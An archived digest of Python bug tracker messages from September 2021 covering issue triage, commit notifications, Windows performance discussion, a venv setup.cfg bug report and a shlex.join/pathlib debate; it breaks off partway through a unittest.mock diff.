In-Reply-To: <1532782721.54.0.56676864532.issue34262@psf.upfronthosting.co.za>
Message-ID: <1631032763.54.0.286908613749.issue34262@roundup.psfhosted.org>


STINNER Victor  added the comment:

test_sendfile_close_peer_in_the_middle_of_receiving() failure is tracked by bpo-41682.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:40:43 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 16:40:43 +0000
Subject: [issue44348]
 test_exceptions.ExceptionTests.test_recursion_in_except_handler stack
 overflow on Windows debug builds
In-Reply-To: <1623145677.55.0.159722944157.issue44348@roundup.psfhosted.org>
Message-ID: <1631032843.11.0.330108165245.issue44348@roundup.psfhosted.org>


STINNER Victor  added the comment:

I rejected my two other ideas to fix this issue:

* bpo-45094: Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds
* bpo-45115: Windows: enable compiler optimizations when building Python in debug mode

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:41:26 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 16:41:26 +0000
Subject: [issue34262] Asyncio test fails under Win 7
In-Reply-To: <1532782721.54.0.56676864532.issue34262@psf.upfronthosting.co.za>
Message-ID: <1631032886.17.0.571879969284.issue34262@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:45:07 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 16:45:07 +0000
Subject: [issue27277] Test runner should try to increase stack size if it is
 too low
In-Reply-To: <1465457335.09.0.330685258307.issue27277@psf.upfronthosting.co.za>
Message-ID: <1631033107.3.0.520979357483.issue27277@roundup.psfhosted.org>


STINNER Victor  added the comment:

I just pushed a change to reduce the stack memory usage when deleting a chain of exceptions in bpo-44348. I consider that this issue is a duplicate. If it's not the case, please reopen the issue.

commit fb305092a5d7894b41f122c1a1117b3abf4c567e (upstream/main, main)
Author: Victor Stinner 
Date:   Tue Sep 7 15:42:11 2021 +0200

    bpo-44348: BaseException deallocator uses trashcan (GH-28190)
    
    The deallocator function of the BaseException type now uses the
    trashcan mecanism to prevent stack overflow. For example, when a
    RecursionError instance is raised, it can be linked to another
    RecursionError through the __context__ attribute or the __traceback__
    attribute, and then a chain of exceptions is created. When the chain
    is destroyed, nested deallocator function calls can crash with a
    stack overflow if the chain is too long compared to the available
    stack memory.

----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> test_exceptions.ExceptionTests.test_recursion_in_except_handler stack overflow on Windows debug builds

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:45:25 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 16:45:25 +0000
Subject: [issue44348]
 test_exceptions.ExceptionTests.test_recursion_in_except_handler stack
 overflow on Windows debug builds
In-Reply-To: <1623145677.55.0.159722944157.issue44348@roundup.psfhosted.org>
Message-ID: <1631033125.01.0.860369339347.issue44348@roundup.psfhosted.org>


STINNER Victor  added the comment:

I marked bpo-27277 as a duplicate of this issue.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:52:45 2021
From: report at bugs.python.org (Antoine Pitrou)
Date: Tue, 07 Sep 2021 16:52:45 +0000
Subject: [issue43468] functools.cached_property incorrectly locks the entire
 descriptor on class instead of per-instance locking
In-Reply-To: <1615444667.91.0.948817723419.issue43468@roundup.psfhosted.org>
Message-ID: <1631033565.07.0.577173187861.issue43468@roundup.psfhosted.org>


Antoine Pitrou  added the comment:

In addition to _NOT_FOUND and _EXCEPTION_RAISED, you could have an additional sentinel value _CONCURRENTLY_COMPUTING. Then you don't need to maintain a separate self.updater mapping.

----------
nosy: +pitrou

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:56:06 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 16:56:06 +0000
Subject: [issue32881] pycapsule:PyObject * is NULL pointer
In-Reply-To: <1519102092.04.0.467229070634.issue32881@psf.upfronthosting.co.za>
Message-ID: <1631033766.66.0.808969547433.issue32881@roundup.psfhosted.org>


Irit Katriel  added the comment:

Python 2.7 is no longer maintained. If you are seeing this problem on a new version (>= 3.9), please create a new issue with full instructions how to reproduce it.

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 12:58:35 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 16:58:35 +0000
Subject: [issue45129] Remove deprecated reuse_address parameter from
 create_datagram_endpoint()
In-Reply-To: <1631025406.86.0.884993515985.issue45129@roundup.psfhosted.org>
Message-ID: <1631033915.05.0.991455695665.issue45129@roundup.psfhosted.org>


?ukasz Langa  added the comment:

To clarify, the option was entirely disabled in 3.9.0, 3.8.1, 3.7.6, and 3.6.10 due to security concerns. If `True` was passed, it raised a ValueError. If `False` was passed, it raised a DeprecationWarning. This was implemented in GH-17311 and What's New was updated in GH-17595.

----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:05:03 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 17:05:03 +0000
Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0
In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org>
Message-ID: <1631034303.48.0.333160878748.issue38820@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset cc7c6801945c6a7373553b78bd899ce09681ec0a by Christian Heimes in branch 'main':
bpo-38820: Test with OpenSSL 3.0.0 final (GH-28205)
https://github.com/python/cpython/commit/cc7c6801945c6a7373553b78bd899ce09681ec0a


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:05:04 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 17:05:04 +0000
Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0
In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org>
Message-ID: <1631034304.78.0.944586654529.issue38820@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26641
pull_request: https://github.com/python/cpython/pull/28216

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:09:31 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 17:09:31 +0000
Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0
In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org>
Message-ID: <1631034571.36.0.00529541934597.issue38820@roundup.psfhosted.org>


Change by ?ukasz Langa :


----------
pull_requests: +26642
pull_request: https://github.com/python/cpython/pull/28217

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:11:52 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 17:11:52 +0000
Subject: [issue32955] IDLE crashes when trying to save a file
In-Reply-To: <1519654711.02.0.467229070634.issue32955@psf.upfronthosting.co.za>
Message-ID: <1631034712.56.0.466014119563.issue32955@roundup.psfhosted.org>


Irit Katriel  added the comment:

Closing as there isn't enough information and there has been no response from the OP to the follow-up questions.

----------
nosy: +iritkatriel
resolution:  -> works for me
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:15:57 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 17:15:57 +0000
Subject: [issue35084] binascii.Error: Incorrect padding
In-Reply-To: <1540684195.55.0.788709270274.issue35084@psf.upfronthosting.co.za>
Message-ID: <1631034957.6.0.974881313222.issue35084@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:20:05 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 17:20:05 +0000
Subject: [issue31419] Can not install python3.6.2 due to Error 0x80070643:
 Failed to install MSI package
In-Reply-To: <1505137249.23.0.24915016523.issue31419@psf.upfronthosting.co.za>
Message-ID: <1631035205.37.0.567133241217.issue31419@roundup.psfhosted.org>


Irit Katriel  added the comment:

Versions 3.5 and 3.6 are no longer being maintained. Are you seeing this problem with a newer version (>= 3.9)?

----------
nosy: +iritkatriel
status: open -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:21:26 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 17:21:26 +0000
Subject: [issue45118] regrtest no longer lists "re-run tests" in the second
 summary
In-Reply-To: <1630945732.21.0.656532683711.issue45118@roundup.psfhosted.org>
Message-ID: <1631035286.36.0.537120081641.issue45118@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 04c13c97eecdb66365782dbbf5e93ff5de267a61 by Miss Islington (bot) in branch '3.9':
bpo-45118: Fix regrtest second summary for re-run tests (GH-28183) (GH-28215)
https://github.com/python/cpython/commit/04c13c97eecdb66365782dbbf5e93ff5de267a61


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:23:45 2021
From: report at bugs.python.org (Hai Shi)
Date: Tue, 07 Sep 2021 17:23:45 +0000
Subject: [issue45127] Code objects can contain unmarshallable objects
In-Reply-To: <1631023038.1.0.991246928913.issue45127@roundup.psfhosted.org>
Message-ID: <1631035425.44.0.312618937397.issue45127@roundup.psfhosted.org>


Change by Hai Shi :


----------
nosy: +shihai1991

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:26:35 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 07 Sep 2021 17:26:35 +0000
Subject: [issue45024] Cannot extend collections ABCs with protocol
In-Reply-To: <1630027789.49.0.847415585989.issue45024@roundup.psfhosted.org>
Message-ID: <1631035595.18.0.852035682473.issue45024@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
keywords: +patch
pull_requests: +26643
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28218

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:26:35 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 07 Sep 2021 17:26:35 +0000
Subject: [issue23864] doc: issubclass without registration only works for
 "one-trick pony" collections ABCs.
In-Reply-To: <1428145067.47.0.0726533343331.issue23864@psf.upfronthosting.co.za>
Message-ID: <1631035595.33.0.774994193025.issue23864@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
keywords: +patch
nosy: +rhettinger
nosy_count: 11.0 -> 12.0
pull_requests: +26644
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28218

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:31:21 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 17:31:21 +0000
Subject: [issue35901] json.dumps infinite recurssion
In-Reply-To: <1549385438.15.0.743086795547.issue35901@roundup.psfhosted.org>
Message-ID: <1631035881.2.0.121837363444.issue35901@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:39:52 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 17:39:52 +0000
Subject: [issue30089] Automatic Unload of Dynamic Library Cause Segfault
In-Reply-To: <1492438695.51.0.289749789728.issue30089@psf.upfronthosting.co.za>
Message-ID: <1631036392.09.0.334255113778.issue30089@roundup.psfhosted.org>


Irit Katriel  added the comment:

Python 2.7 is no longer being maintained. If you are still seeing this problem on a current version (>= 3.9), please create a new issue.

Ideally, please provide instructions how to reproduce the bug.  It is hard to debug just from a description (particularly when it involves third party components).

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:50:52 2021
From: report at bugs.python.org (da-woods)
Date: Tue, 07 Sep 2021 17:50:52 +0000
Subject: [issue45122] Remove PyCode_New and PyCode_NewWithPosOnlyArgs
In-Reply-To: <1630968243.03.0.371650813101.issue45122@roundup.psfhosted.org>
Message-ID: <1631037052.96.0.00562072217828.issue45122@roundup.psfhosted.org>


da-woods  added the comment:

Done: https://github.com/Nuitka/Nuitka/issues/1203

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:55:28 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 17:55:28 +0000
Subject: [issue45012] DirEntry.stat method should release GIL
In-Reply-To: <1629978813.83.0.528049638414.issue45012@roundup.psfhosted.org>
Message-ID: <1631037328.91.0.761220691748.issue45012@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 9dc363ee7cf2eb6ff374fbf7bbeb0b333f4afb8f by Stanis?aw Skonieczny in branch 'main':
bpo-45012: Release GIL around stat in os.scandir (GH-28085)
https://github.com/python/cpython/commit/9dc363ee7cf2eb6ff374fbf7bbeb0b333f4afb8f


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 13:57:48 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 17:57:48 +0000
Subject: [issue45012] DirEntry.stat method should release GIL
In-Reply-To: <1629978813.83.0.528049638414.issue45012@roundup.psfhosted.org>
Message-ID: <1631037468.22.0.315940986383.issue45012@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Dzi?ki za zg?oszenie i poprawk?, Stanis?aw! ? ? ?

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
type: behavior -> performance
versions:  -Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:02:57 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 18:02:57 +0000
Subject: [issue19346] Build fails when there are no shared extensions to be
 built
In-Reply-To: <1382442448.32.0.170952369524.issue19346@psf.upfronthosting.co.za>
Message-ID: <1631037777.58.0.788686163508.issue19346@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution: remind -> duplicate
stage: patch review -> resolved
status: open -> closed
superseder:  -> Python?s setup.py raises a ValueError when self.extensions is empty

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:13:04 2021
From: report at bugs.python.org (neonene)
Date: Tue, 07 Sep 2021 18:13:04 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631038384.95.0.122782466984.issue45116@roundup.psfhosted.org>


neonene  added the comment:

@vstinner: __forceinline suggestion

Since PR25244 (mentioned above), it seems link.exe has got to get stuck on python310.dll.
Before the PR, it took 10x~ longer to link than without __forceinline function.
I can confirm with _Py_DECREF() and _Py_XDECREF() and one training-job (the more fucntions forced/jobs used, the slower to link).
Have you tried __forceinline on PGO ?


> I don't understand how to read the table.

Overhead field is the output of pyperf command, not subtraction (the answers are the same just luckily).

ex) 3.10rc1x86 PGO: 
     PGO      : pyperf compare_to 3.10a7 left
     patched  : pyperf compare_to 3.10a7 right
     overhead : pyperf compare_to right  left 
  are
     1.15x slower (slower 52, faster  4, not significant  2)
     1.13x slower (slower 50, faster  4, not significant  4)
     1.02x slower (slower 29, faster 14, not significant 15)


> I'm not sure if PGO builds are reproducible,

MSVC does not produce the same code. Inlining (all or nothing) might be a quite special case in the hottest section.
I suspect the profiler doesn't work well only for _PyEval_EvalFrameDefault(), including branch/align optimization.
So my posted macro or inlining is just for a mesureing, not the solution.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:15:21 2021
From: report at bugs.python.org (Sean Kelly)
Date: Tue, 07 Sep 2021 18:15:21 +0000
Subject: =?utf-8?b?W2lzc3VlNDUxMzFdIGB2ZW52YCDihpIgYGVuc3VyZXBpcGAgbWF5IHJlYWQg?=
 =?utf-8?q?local_=60setup=2Ecfg=60_and_fail_mysteriously?=
Message-ID: <1631038521.89.0.222056793507.issue45131@roundup.psfhosted.org>


New submission from Sean Kelly :

Creating a new virtual environment with the `venv` module reads any local `setup.cfg` file that may be found; if such a file has garbage, the `venv` fails with a mysterious message. 

Reproduce:

```
$ date -u
Tue Sep  7 18:12:27 UTC 2021
$ mkdir /tmp/demo
$ cd /tmp/demo
$ echo 'a < b' >setup.cfg
$ python3 -V
Python 3.9.5
$ python3 -m venv venv
Error: Command '['/tmp/demo/venv/bin/python3.9', '-Im', 'ensurepip', '--upgrade', '--default-pip']' returned non-zero exit status 1.
```

(Took me a little while to figure out I had some garbage in a `setup.cfg` file in $CWD that was causing it.)

Implications:

Potential implications are that a specially crafted `setup.cfg` might cause a security-compromised virtual environment to be created maybe? I don't know.

----------
messages: 401320
nosy: nutjob4life
priority: normal
severity: normal
status: open
title: `venv` ? `ensurepip` may read local `setup.cfg` and fail mysteriously
type: behavior
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:16:55 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 18:16:55 +0000
Subject: [issue24888] FileNotFoundException raised by subprocess.call
In-Reply-To: <1439908591.24.0.224694175166.issue24888@psf.upfronthosting.co.za>
Message-ID: <1631038615.43.0.830775506732.issue24888@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 19a304ba990481f0381a5316096b6b3cf2dff381 by DonnaDia in branch 'main':
bpo-24888: Clarify subprocess.check_call propagates exceptions if unable to start process (GH-28018)
https://github.com/python/cpython/commit/19a304ba990481f0381a5316096b6b3cf2dff381


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:16:58 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 18:16:58 +0000
Subject: [issue24888] FileNotFoundException raised by subprocess.call
In-Reply-To: <1439908591.24.0.224694175166.issue24888@psf.upfronthosting.co.za>
Message-ID: <1631038618.99.0.75444578497.issue24888@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 7.0 -> 8.0
pull_requests: +26645
pull_request: https://github.com/python/cpython/pull/28223

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:17:03 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 18:17:03 +0000
Subject: [issue24888] FileNotFoundException raised by subprocess.call
In-Reply-To: <1439908591.24.0.224694175166.issue24888@psf.upfronthosting.co.za>
Message-ID: <1631038623.5.0.509391276812.issue24888@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26646
pull_request: https://github.com/python/cpython/pull/28224

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:35:35 2021
From: report at bugs.python.org (Hugo van Kemenade)
Date: Tue, 07 Sep 2021 18:35:35 +0000
Subject: [issue45132] Remove deprecated __getitem__ methods
Message-ID: <1631039735.38.0.446517893584.issue45132@roundup.psfhosted.org>


New submission from Hugo van Kemenade :

The __getitem__ methods of xml.dom.pulldom.DOMEventStream, wsgiref.util.FileWrapper and were deprecated in Python 3.8 by bpo-9372 / GH-8609.

They can be removed in Python 3.11.

----------
components: Library (Lib)
messages: 401322
nosy: hugovk
priority: normal
severity: normal
status: open
title: Remove deprecated __getitem__ methods
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:39:22 2021
From: report at bugs.python.org (Hugo van Kemenade)
Date: Tue, 07 Sep 2021 18:39:22 +0000
Subject: [issue45132] Remove deprecated __getitem__ methods
In-Reply-To: <1631039735.38.0.446517893584.issue45132@roundup.psfhosted.org>
Message-ID: <1631039962.3.0.720430780826.issue45132@roundup.psfhosted.org>


Change by Hugo van Kemenade :


----------
keywords: +patch
pull_requests: +26647
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28225

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:43:51 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 18:43:51 +0000
Subject: [issue24888] FileNotFoundException raised by subprocess.call
In-Reply-To: <1439908591.24.0.224694175166.issue24888@psf.upfronthosting.co.za>
Message-ID: <1631040231.36.0.423558229275.issue24888@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 2363910662cda4dcf574da68b4633b55e5fc0f9c by Miss Islington (bot) in branch '3.9':
bpo-24888: Clarify subprocess.check_call propagates exceptions if unable to start process (GH-28018) (GH-28223)
https://github.com/python/cpython/commit/2363910662cda4dcf574da68b4633b55e5fc0f9c


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:44:25 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 18:44:25 +0000
Subject: [issue24888] FileNotFoundException raised by subprocess.call
In-Reply-To: <1439908591.24.0.224694175166.issue24888@psf.upfronthosting.co.za>
Message-ID: <1631040265.6.0.00524393840502.issue24888@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset 31be544721670516fa9700e088c022ff38b0c5fe by Miss Islington (bot) in branch '3.10':
bpo-24888: Clarify subprocess.check_call propagates exceptions if unable to start process (GH-28018)
https://github.com/python/cpython/commit/31be544721670516fa9700e088c022ff38b0c5fe


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:45:06 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Tue, 07 Sep 2021 18:45:06 +0000
Subject: [issue24888] FileNotFoundException raised by subprocess.call
In-Reply-To: <1439908591.24.0.224694175166.issue24888@psf.upfronthosting.co.za>
Message-ID: <1631040306.14.0.460591513106.issue24888@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Thanks for the patch, DonnaDia! ? ? ?

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:55:59 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 07 Sep 2021 18:55:59 +0000
Subject: [issue32955] IDLE crashes when trying to save a file
In-Reply-To: <1519654711.02.0.467229070634.issue32955@psf.upfronthosting.co.za>
Message-ID: <1631040959.26.0.709816229677.issue32955@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

Thank you Irit.

For any users who stumble on this issue:  Drop down clicks in the dialog are handled by tk.  Hence, this was not an IDLE issue, unlikely to be a tkinter issue, and most likely a bad tcl/tk version issue.  Hence my first post. My response and the web are out of date.  We have fixed the version issue by including in each installer what seems to be the best available tcl/tk build.

----------
resolution: works for me -> out of date

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 14:56:53 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Tue, 07 Sep 2021 18:56:53 +0000
Subject: [issue45130] shlex.join() does not accept pathlib.Path objects
In-Reply-To: <1631032053.23.0.444664437221.issue45130@roundup.psfhosted.org>
Message-ID: <1631041013.17.0.852184066363.issue45130@roundup.psfhosted.org>


Eric V. Smith  added the comment:

I disagree. In my mind, there's no more reason for shlex.join() to take Path objects than there is for str.join() to take them, or for shlex.join() to convert int's to str's. I'd rather shlex.join() continue to raise an exception if passed something that's not a str or bytes.

You should probably discuss this on the python-ideas mailing list if you want a broader audience.

----------
nosy: +eric.smith
type: behavior -> enhancement
versions:  -Python 3.10, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:03:03 2021
From: report at bugs.python.org (Richard)
Date: Tue, 07 Sep 2021 19:03:03 +0000
Subject: [issue45130] shlex.join() does not accept pathlib.Path objects
In-Reply-To: <1631032053.23.0.444664437221.issue45130@roundup.psfhosted.org>
Message-ID: <1631041383.45.0.588644109955.issue45130@roundup.psfhosted.org>


Richard  added the comment:

While it may be primarily intended to combine output from shlex.split() again, IMO it's useful for manually constructed command lines as well, for example displaying instructions to a user where a path may contain spaces and special characters and needs to be properly escaped.

As for converting int to str, since subprocess.run() does not do that, shlex.split() does not need to do so either. I never mentioned that, and while I could see that being useful as well, that would have to be a separate discussion.

There's more of a case for automatic conversion for Path objects, which are supposed to work seamlessly in most places where strings are accepted. But such quirks of certain functions not accepting them and being forced to convert to str manually makes pathlib a little annoying to use compared to os.path.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:15:36 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 19:15:36 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631042136.29.0.204412750815.issue45116@roundup.psfhosted.org>


STINNER Victor  added the comment:

I don't understand if adding __forceinline on the mentioned static inline functions has an impact on the performance of a PGO build on Windows.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:18:40 2021
From: report at bugs.python.org (Steve Dower)
Date: Tue, 07 Sep 2021 19:18:40 +0000
Subject: [issue45022] Update libffi to 3.4.2
In-Reply-To: <1630012397.4.0.321187135755.issue45022@roundup.psfhosted.org>
Message-ID: <1631042320.12.0.663412657918.issue45022@roundup.psfhosted.org>


Steve Dower  added the comment:


New changeset 4dc4300c686f543d504ab6fa9fe600eaf11bb695 by giovanniwijaya in branch 'main':
bpo-45022: Fix libffi DLL name in Windows installer sources (GH-28203)
https://github.com/python/cpython/commit/4dc4300c686f543d504ab6fa9fe600eaf11bb695


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:20:32 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 19:20:32 +0000
Subject: [issue43187] Dict creation in recursive function cause interpreter
 crashes.
In-Reply-To: <1612948775.51.0.474463250225.issue43187@roundup.psfhosted.org>
Message-ID: <1631042432.35.0.753191020744.issue43187@roundup.psfhosted.org>


Irit Katriel  added the comment:

On 3.9 I reproduce the segfault.

On 3.11 on a mac I get 

RecursionError: maximum recursion depth exceeded while calling a Python object


So it has been fixed in the meantime.

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:21:55 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 19:21:55 +0000
Subject: [issue38852] test_recursion_limit in test_threading crashes with
 SIGSEGV on android
In-Reply-To: <1574193737.03.0.937540674169.issue38852@roundup.psfhosted.org>
Message-ID: <1631042515.55.0.0230605419757.issue38852@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:22:15 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 19:22:15 +0000
Subject: [issue45128] test_multiprocessing fails sporadically on the release
 artifacts
In-Reply-To: <1631025233.12.0.173850188755.issue45128@roundup.psfhosted.org>
Message-ID: <1631042535.9.0.0530854212032.issue45128@roundup.psfhosted.org>


STINNER Victor  added the comment:

I guess that the test was previously skipped, and bpo-45042 enabled again the test:

commit e5976dd2e6e966183da59df99978ebcb4b3a32df
Author: Miss Islington (bot) <31488909+miss-islington at users.noreply.github.com>
Date:   Sat Sep 4 14:04:44 2021 -0700

    bpo-45042: Now test classes decorated with `requires_hashdigest` are not skipped (GH-28060)
    
    
    Co-authored-by: Serhiy Storchaka 
    (cherry picked from commit dd7b816ac87e468e2fa65ce83c2a03fe1da8503e)
    
    Co-authored-by: Nikita Sobolev 

----------
nosy: +vstinner

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:25:37 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 19:25:37 +0000
Subject: [issue45128] test_multiprocessing fails sporadically on the release
 artifacts
In-Reply-To: <1631025233.12.0.173850188755.issue45128@roundup.psfhosted.org>
Message-ID: <1631042737.52.0.646534325927.issue45128@roundup.psfhosted.org>


STINNER Victor  added the comment:

I'm not sure if unittest.mock code to import the module is reliable: see bpo-39551. It imports "multiprocessing", use getattr() to get multiprocessing.shared_memory. If getattr() fails with AttributeError, it tries to import "mulitprocessing.shared_memory", and then tries again the same getattr() on the previously imported "multiprocessing" module.

I'm curious if this change works around the issue:

diff --git a/Lib/unittest/mock.py b/Lib/unittest/mock.py
index c6067151de..1e3a8277ca 100644
--- a/Lib/unittest/mock.py
+++ b/Lib/unittest/mock.py
@@ -1238,7 +1238,7 @@ def _dot_lookup(thing, comp, import_path):
     try:
         return getattr(thing, comp)
     except AttributeError:
-        __import__(import_path)
